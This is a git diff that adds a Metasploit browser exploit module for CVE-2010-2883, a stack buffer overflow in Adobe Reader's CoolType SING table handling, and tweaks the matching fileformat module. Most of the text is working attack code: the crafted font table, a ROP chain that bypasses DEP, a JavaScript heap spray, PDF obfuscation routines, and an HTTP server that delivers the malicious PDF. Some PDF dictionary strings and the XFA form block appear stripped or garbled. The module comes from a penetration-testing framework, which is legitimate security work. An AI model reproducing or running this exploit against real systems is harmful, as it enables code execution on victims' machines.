diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb new file mode 100644 index 0000000000..450f1108f2 --- /dev/null +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -0,0 +1,583 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' +require 'zlib' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof + + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow', + 'Description' => %q{ + This module exploits a vulnerability in the Smart INdependent Glyplets (SING) table + handling within versions 8.2.4 and 9.3.4 of Adobe Reader. Prior version are + assumed to be vulnerable as well. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # 0day found in the wild + '@sn0wfl0w', # initial analysis + '@vicheck', # initial analysis + 'jduck' # Metasploit module + ], + 'Version' => '$Revision$', + 'References' => + [ + [ 'CVE', '2010-2883' ], + [ 'OSVDB', '67849'], + [ 'URL', 'http://contagiodump.blogspot.com/2010/09/cve-david-leadbetters-one-point-lesson.html' ], + [ 'URL', 'http://www.adobe.com/support/security/advisories/apsa10-02.html' ] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + 'HTTP::compression' => 'gzip', + 'HTTP::chunked' => true, + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00", + 'DisableNops' => true + }, + 'Platform' => 'win', + 'Targets' => + [ + # Tested OK via Adobe Reader 9.3.4 on Windows XP SP3 -jjd + # Tested OK via Adobe Reader 9.3.4 on Windows 7 -jjd + [ 'Automatic', { }], + ], + 'DisclosureDate' => 'Sep 07 2010', + 'DefaultTarget' => 0)) + end + + def exploit + # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20) + path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" ) + fd = File.open( path, "rb" ) + @ttf_data = fd.read(fd.stat.size) + fd.close + + super + end + + + def on_request_uri(cli, request) + + print_status("Sending crafted PDF to #{cli.peerhost}:#{cli.peerport}") + + ttf_data = make_ttf() + + js_data = make_js(regenerate_payload(cli).encoded) + + # Create the pdf + pdf = make_pdf(ttf_data, js_data) + + send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' }) + + # Handle the payload + handler(cli) + end + + def make_ttf + + # load the static ttf file + ttf_data = @ttf_data.dup + + # Build the SING table + sing = '' + sing << [ + 0, 1, # tableVersionMajor, tableVersionMinor (0.1) + 0xe01, # glyphletVersion + 0x100, # embeddingInfo + 0, # mainGID + 0, # unitsPerEm + 0, # vertAdvance + 0x3a00 # vertOrigin + ].pack('vvvvvvvv') + # uniqueName + # "The uniqueName string must be a string of at most 27 7-bit ASCII characters" + #sing << "A" * (0x254 - sing.length) + sing << rand_text(0x254 - sing.length) + + # 0xffffffff gets written here @ 0x7001400 (in BIB.dll) + sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V') + + # This becomes our new EIP (puts esp to stack buffer) + ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret + sing[0x208, 4] = [ret].pack('V') + + # This becomes the new eip after the first return + ret = 0x4a82a714 + sing[0x18, 4] = [ret].pack('V') + + # This becomes the new esp after the first return + esp = 0x0c0c0c0c + sing[0x1c, 4] = [esp].pack('V') + + # Without the following, sub_801ba57 returns 0. + sing[0x24c, 4] = [0x6c].pack('V') + + ttf_data[0xec, 4] = "SING" + ttf_data[0x11c, sing.length] = sing + + ttf_data + end + + def make_js(encoded_payload) + + # The following executes a ret2lib using icucnv36.dll + # The effect is to bypass DEP and execute the shellcode in an indirect way + stack_data = [ + 0x41414141, # unused + 0x4a8063a5, # pop ecx / ret + 0x4a8a0000, # becomes ecx + + 0x4a802196, # mov [ecx],eax / ret # save whatever eax starts as + + 0x4a801f90, # pop eax / ret + 0x4a84903c, # becomes eax (import for CreateFileA) + + # -- call CreateFileA + 0x4a80b692, # jmp [eax] + + 0x4a801064, # ret + + 0x4a8522c8, # first arg to CreateFileA (lpFileName / pointer to "iso88591") + 0x10000000, # second arg - dwDesiredAccess + 0x00000000, # third arg - dwShareMode + 0x00000000, # fourth arg - lpSecurityAttributes + 0x00000002, # fifth arg - dwCreationDisposition + 0x00000102, # sixth arg - dwFlagsAndAttributes + 0x00000000, # seventh arg - hTemplateFile + + 0x4a8063a5, # pop ecx / ret + 0x4a801064, # becomes ecx + + 0x4a842db2, # xchg eax,edi / ret + + 0x4a802ab1, # pop ebx / ret + 0x00000008, # becomes ebx - offset to modify + + # + # This points at a neat-o block of code that ... TBD + # + # and [esp+ebx*2],edi + # jne check_slash + # ret_one: + # mov al,1 + # ret + # check_slash: + # cmp al,0x2f + # je ret_one + # cmp al,0x41 + # jl check_lower + # cmp al,0x5a + # jle check_ptr + # check_lower: + # cmp al,0x61 + # jl ret_zero + # cmp al,0x7a + # jg ret_zero + # cmp [ecx+1],0x3a + # je ret_one + # ret_zero: + # xor al,al + # ret + # + + 0x4a80a8a6, # execute fun block + + 0x4a801f90, # pop eax / ret + 0x4a849038, # becomes eax (import for CreateFileMappingA) + + # -- call CreateFileMappingA + 0x4a80b692, # jmp [eax] + + 0x4a801064, # ret + + 0xffffffff, # arguments to CreateFileMappingA, hFile + 0x00000000, # lpAttributes + 0x00000040, # flProtect + 0x00000000, # dwMaximumSizeHigh + 0x00010000, # dwMaximumSizeLow + 0x00000000, # lpName + + 0x4a8063a5, # pop ecx / ret + 0x4a801064, # becomes ecx + + 0x4a842db2, # xchg eax,edi / ret + + 0x4a802ab1, # pop ebx / ret + 0x00000008, # becomes ebx - offset to modify + + 0x4a80a8a6, # execute fun block + + 0x4a801f90, # pop eax / ret + 0x4a849030, # becomes eax (import for MapViewOfFile + + # -- call MapViewOfFile + 0x4a80b692, # jmp [eax] + + 0x4a801064, # ret + + 0xffffffff, # args to MapViewOfFile - hFileMappingObject + 0x00000022, # dwDesiredAccess + 0x00000000, # dwFileOffsetHigh + 0x00000000, # dwFileOffsetLow + 0x00010000, # dwNumberOfBytesToMap + + 0x4a8063a5, # pop ecx / ret + 0x4a8a0004, # becomes ecx - writable pointer + + 0x4a802196, # mov [ecx],eax / ret - save map base addr + + 0x4a8063a5, # pop ecx / ret + 0x4a801064, # becomes ecx - ptr to ret + + 0x4a842db2, # xchg eax,edi / ret + + 0x4a802ab1, # pop ebx / ret + 0x00000030, # becomes ebx - offset to modify + + 0x4a80a8a6, # execute fun block + + 0x4a801f90, # pop eax / ret + 0x4a8a0004, # becomes eax - saved file mapping ptr + + 0x4a80a7d8, # mov eax,[eax] / ret - load saved mapping ptr + + 0x4a8063a5, # pop ecx / ret + 0x4a801064, # becomes ecx - ptr to ret + + 0x4a842db2, # xchg eax,edi / ret + + 0x4a802ab1, # pop ebx / ret + 0x00000020, # becomes ebx - offset to modify + + 0x4a80a8a6, # execute fun block + + 0x4a8063a5, # pop ecx / ret + 0x4a801064, # becomes ecx - ptr to ret + + 0x4a80aedc, # lea edx,[esp+0xc] / push edx / push eax / push [esp+0xc] / push [0x4a8a093c] / call ecx / add esp, 0x10 / ret + + 0x4a801f90, # pop eax / ret + 0x00000034, # becomes eax + + 0x4a80d585, # add eax,edx / ret + + 0x4a8063a5, # pop ecx / ret + 0x4a801064, # becomes ecx - ptr to ret + + 0x4a842db2, # xchg eax,edi / ret + + 0x4a802ab1, # pop ebx / ret + 0x0000000a, # becomes ebx - offset to modify + + 0x4a80a8a6, # execute fun block + + 0x4a801f90, # pop eax / ret + 0x4a849170, # becomes eax (import for memcpy) + + # -- call memcpy + 0x4a80b692, # jmp [eax] + + 0xffffffff, # this stuff gets overwritten by the block at 0x4a80aedc, becomes ret from memcpy + 0xffffffff, # becomes first arg to memcpy (dst) + 0xffffffff, # becomes second arg to memcpy (src) + 0x00001000, # becomes third arg to memcpy (length) + #0x0000258b, # ?? + #0x4d4d4a8a, # ?? + ].pack('V*') + + var_unescape = rand_text_alpha(rand(100) + 1) + var_shellcode = rand_text_alpha(rand(100) + 1) + + var_start = rand_text_alpha(rand(100) + 1) + + var_s = 0x10000 + var_c = rand_text_alpha(rand(100) + 1) + var_b = rand_text_alpha(rand(100) + 1) + var_d = rand_text_alpha(rand(100) + 1) + var_3 = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(100) + 1) + var_4 = rand_text_alpha(rand(100) + 1) + + payload_buf = '' + payload_buf << stack_data + payload_buf << encoded_payload + + escaped_payload = Rex::Text.to_unescape(payload_buf) + + js = %Q| +var #{var_unescape} = unescape; +var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' ); +var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" ); +while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c}; +#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2); +#{var_b} += #{var_shellcode}; +#{var_b} += #{var_c}; +#{var_d} = #{var_b}.substring(0, #{var_s}/2); +while(#{var_d}.length < 0x80000) #{var_d} += #{var_d}; +#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2); +var #{var_4} = new Array(); +for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; +| + + js + end + + def RandomNonASCIIString(count) + result = "" + count.times do + result << (rand(128) + 128).chr + end + result + end + + def ioDef(id) + "%d 0 obj \n" % id + end + + def ioRef(id) + "%d 0 R" % id + end + + + #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ + def nObfu(str) + #return str + result = "" + str.scan(/./u) do |c| + if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' + result << "#%x" % c.unpack("C*")[0] + else + result << c + end + end + result + end + + + def ASCIIHexWhitespaceEncode(str) + result = "" + whitespace = "" + str.each_byte do |b| + result << whitespace << "%02x" % b + whitespace = " " * (rand(3) + 1) + end + result << ">" + end + + + def make_pdf(ttf, js) + + #swf_name = rand_text_alpha(8 + rand(8)) + ".swf" + + xref = [] + eol = "\n" + endobj = "endobj" << eol + + # Randomize PDF version? + pdf = "%PDF-1.5" << eol + pdf << "%" << RandomNonASCIIString(4) << eol + + # catalog + xref << pdf.length + pdf << ioDef(1) << nObfu("<<") << eol + pdf << nObfu("/Pages ") << ioRef(2) << eol + pdf << nObfu("/Type /Catalog") << eol + pdf << nObfu("/OpenAction ") << ioRef(11) << eol + # The AcroForm is required to get icucnv36.dll to load + pdf << nObfu("/AcroForm ") << ioRef(13) << eol + pdf << nObfu(">>") << eol + pdf << endobj + + # pages array + xref << pdf.length + pdf << ioDef(2) << nObfu("<<") << eol + pdf << nObfu("/MediaBox ") << ioRef(3) << eol + pdf << nObfu("/Resources ") << ioRef(4) << eol + pdf << nObfu("/Kids [") << ioRef(5) << "]" << eol + pdf << nObfu("/Count 1") << eol + pdf << nObfu("/Type /Pages") << eol + pdf << nObfu(">>") << eol + pdf << endobj + + # media box + xref << pdf.length + pdf << ioDef(3) + pdf << "[0 0 595 842]" << eol + pdf << endobj + + # resources + xref << pdf.length + pdf << ioDef(4) + pdf << nObfu("<<") << eol + pdf << nObfu("/Font ") << ioRef(6) << eol + pdf << ">>" << eol + pdf << endobj + + # page 1 + xref << pdf.length + pdf << ioDef(5) << nObfu("<<") << eol + pdf << nObfu("/Parent ") << ioRef(2) << eol + pdf << nObfu("/MediaBox ") << ioRef(3) << eol + pdf << nObfu("/Resources ") << ioRef(4) << eol + pdf << nObfu("/Contents [") << ioRef(8) << nObfu("]") << eol + pdf << nObfu("/Type /Page") << eol + pdf << nObfu(">>") << eol # end obj dict + pdf << endobj + + # font + xref << pdf.length + pdf << ioDef(6) << nObfu("<<") << eol + pdf << nObfu("/F1 ") << ioRef(7) << eol + pdf << ">>" << eol + pdf << endobj + + # ttf object + xref << pdf.length + pdf << ioDef(7) << nObfu("<<") << eol + pdf << nObfu("/Type /Font") << eol + pdf << nObfu("/Subtype /TrueType") << eol + pdf << nObfu("/Name /F1") << eol + pdf << nObfu("/BaseFont /Cinema") << eol + pdf << nObfu("/Widths []") << eol + pdf << nObfu("/FontDescriptor ") << ioRef(9) + pdf << nObfu("/Encoding /MacRomanEncoding") + pdf << nObfu(">>") << eol + pdf << endobj + + # page content + content = "Hello World!" + content = "" + + "0 g" + eol + + "BT" + eol + + "/F1 32 Tf" + eol + + "32 Tc" + eol + + "1 0 0 1 32 773.872 Tm" + eol + + "(" + content + ") Tj" + eol + + "ET" + + xref << pdf.length + pdf << ioDef(8) << "<<" << eol + pdf << nObfu("/Length %s" % content.length) << eol + pdf << ">>" << eol + pdf << "stream" << eol + pdf << content << eol + pdf << "endstream" << eol + pdf << endobj + + # font descriptor + xref << pdf.length + pdf << ioDef(9) << nObfu("<<") + pdf << nObfu("/Type/FontDescriptor/FontName/Cinema") + pdf << nObfu("/Flags %d" % (2**2 + 2**6 + 2**17)) + pdf << nObfu("/FontBBox [-177 -269 1123 866]") + pdf << nObfu("/FontFile2 ") << ioRef(10) + pdf << nObfu(">>") << eol + pdf << endobj + + # ttf stream + xref << pdf.length + compressed = Zlib::Deflate.deflate(ttf) + pdf << ioDef(10) << nObfu("<>" % [compressed.length, ttf.length]) << eol + pdf << "stream" << eol + pdf << compressed << eol + pdf << "endstream" << eol + pdf << endobj + + # js action + xref << pdf.length + pdf << ioDef(11) << nObfu("<<") + pdf << nObfu("/Type/Action/S/JavaScript/JS ") + ioRef(12) + pdf << nObfu(">>") << eol + pdf << endobj + + # js stream + xref << pdf.length + compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) + pdf << ioDef(12) << nObfu("<>" % compressed.length) << eol + pdf << "stream" << eol + pdf << compressed << eol + pdf << "endstream" << eol + pdf << endobj + + ### + # The following form related data is required to get icucnv36.dll to load + ### + + # form object + xref << pdf.length + pdf << ioDef(13) + pdf << nObfu("<>") << eol + pdf << endobj + + # form stream + xfa = <<-EOF + + + + + + 1 + + + + + +EOF + + xref << pdf.length + pdf << ioDef(14) << nObfu("<>" % xfa.length) << eol + pdf << "stream" << eol + pdf << xfa << eol + pdf << "endstream" << eol + pdf << endobj + + ### + # end form stuff for icucnv36.dll + ### + + + # trailing stuff + xrefPosition = pdf.length + pdf << "xref" << eol + pdf << "0 %d" % (xref.length + 1) << eol + pdf << "0000000000 65535 f" << eol + xref.each do |index| + pdf << "%010d 00000 n" % index << eol + end + + pdf << "trailer" << eol + pdf << nObfu("<>" << eol + + pdf << "startxref" << eol + pdf << xrefPosition.to_s() << eol + + pdf << "%%EOF" << eol + pdf + end + +end diff --git a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb index 86802726d9..da6de82eef 100644 --- a/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/fileformat/adobe_cooltype_sing.rb @@ -13,7 +13,7 @@ require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GreatRanking # aslr+dep bypass, js heap spray, rop, stack bof include Msf::Exploit::FILEFORMAT @@ -129,8 +129,6 @@ class Metasploit3 < Msf::Exploit::Remote ttf_data[0xec, 4] = "SING" ttf_data[0x11c, sing.length] = sing - #File.open("/tmp/woop.ttf", "wb") { |fd| fd.write(ttf_data) } - ttf_data end @@ -197,7 +195,7 @@ class Metasploit3 < Msf::Exploit::Remote # 0x4a80a8a6, # execute fun block - + 0x4a801f90, # pop eax / ret 0x4a849038, # becomes eax (import for CreateFileMappingA) @@ -521,7 +519,7 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; # form object xref << pdf.length - pdf << ioDef(13) + pdf << ioDef(13) pdf << nObfu("<>") << eol pdf << endobj @@ -544,14 +542,14 @@ for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s"; EOF - + xref << pdf.length pdf << ioDef(14) << nObfu("<>" % xfa.length) << eol pdf << "stream" << eol pdf << xfa << eol pdf << "endstream" << eol pdf << endobj - + ### # end form stuff for icucnv36.dll ###